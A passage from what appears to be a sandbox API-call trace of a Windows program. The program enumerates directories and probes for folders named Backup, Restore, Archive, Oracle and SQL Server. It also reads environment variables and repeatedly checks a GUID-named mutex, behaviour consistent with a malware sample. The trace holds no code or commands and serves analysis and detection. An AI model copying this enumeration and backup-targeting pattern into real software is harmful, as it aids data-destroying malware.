nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@⎌R企@\x18?T\x18D")) returned 0xffffffff [0047.187] GetLastError () returned 0x2 [0047.187] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@삌R企@\x18❌R\x18j")) returned 0xffffffff [0047.187] GetLastError () returned 0x2 [0047.187] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@⎌R企@\x18?T\x18q")) returned 0xffffffff [0047.187] GetLastError () returned 0x2 [0047.187] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@♔R企@\x18?T\x18y")) returned 0xffffffff [0047.187] GetLastError () returned 0x2 [0047.187] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@삌R企@\x18?T\x18\x81")) returned 0xffffffff [0047.187] GetLastError () returned 0x2 [0047.187] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@⎌R企@\x18?T\x18\x88")) returned 0xffffffff [0047.188] GetLastError () returned 0x2 [0047.188] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@♔R企@\x18?T\x18\x8f")) returned 0xffffffff [0047.188] GetLastError () returned 0x2 [0047.188] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@삌R企@\x18?T\x18\x97")) returned 0xffffffff [0047.188] GetLastError () returned 0x2 [0047.188] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.188] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0047.188] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0047.188] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0047.188] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.188] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0047.188] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0047.188] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0047.189] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.189] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.189] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.189] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.189] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.189] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.189] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.189] GetLastError () returned 0x12 [0047.189] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0047.190] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.190] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.190] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS", len=0x3d | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS") returned 1 [0047.191] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.191] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0047.191] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0047.191] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0047.191] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.191] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0047.191] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0047.191] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0047.191] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.191] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.192] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.192] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.192] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.192] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.192] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.192] GetLastError () returned 0x12 [0047.192] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0047.192] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.192] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.192] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE", len=0x38 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE") returned 1 [0047.208] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0047.208] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0047.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0047.208] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0047.208] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0047.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0047.208] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.208] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.209] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.209] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.209] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.209] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.209] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.209] GetLastError () returned 0x12 [0047.209] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0047.209] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.209] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bf05363, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bf05363, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bf05363, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6d600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll", cAlternateFileName="")) returned 1 [0047.209] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.209] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c03bb8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x45c03bb8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf8825d20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip.exe", cAlternateFileName="")) returned 1 [0047.209] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.209] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1 [0047.209] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.209] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.209] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH", len=0x38 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH") returned 1 [0047.210] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.210] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0047.210] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0047.210] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0047.210] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.210] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0047.210] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0047.210] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0047.210] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.210] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.210] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.210] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.210] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.211] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.211] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.211] GetLastError () returned 0x12 [0047.211] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0047.211] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.211] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d6a2945, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5d6a2945, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0047.211] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.211] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, 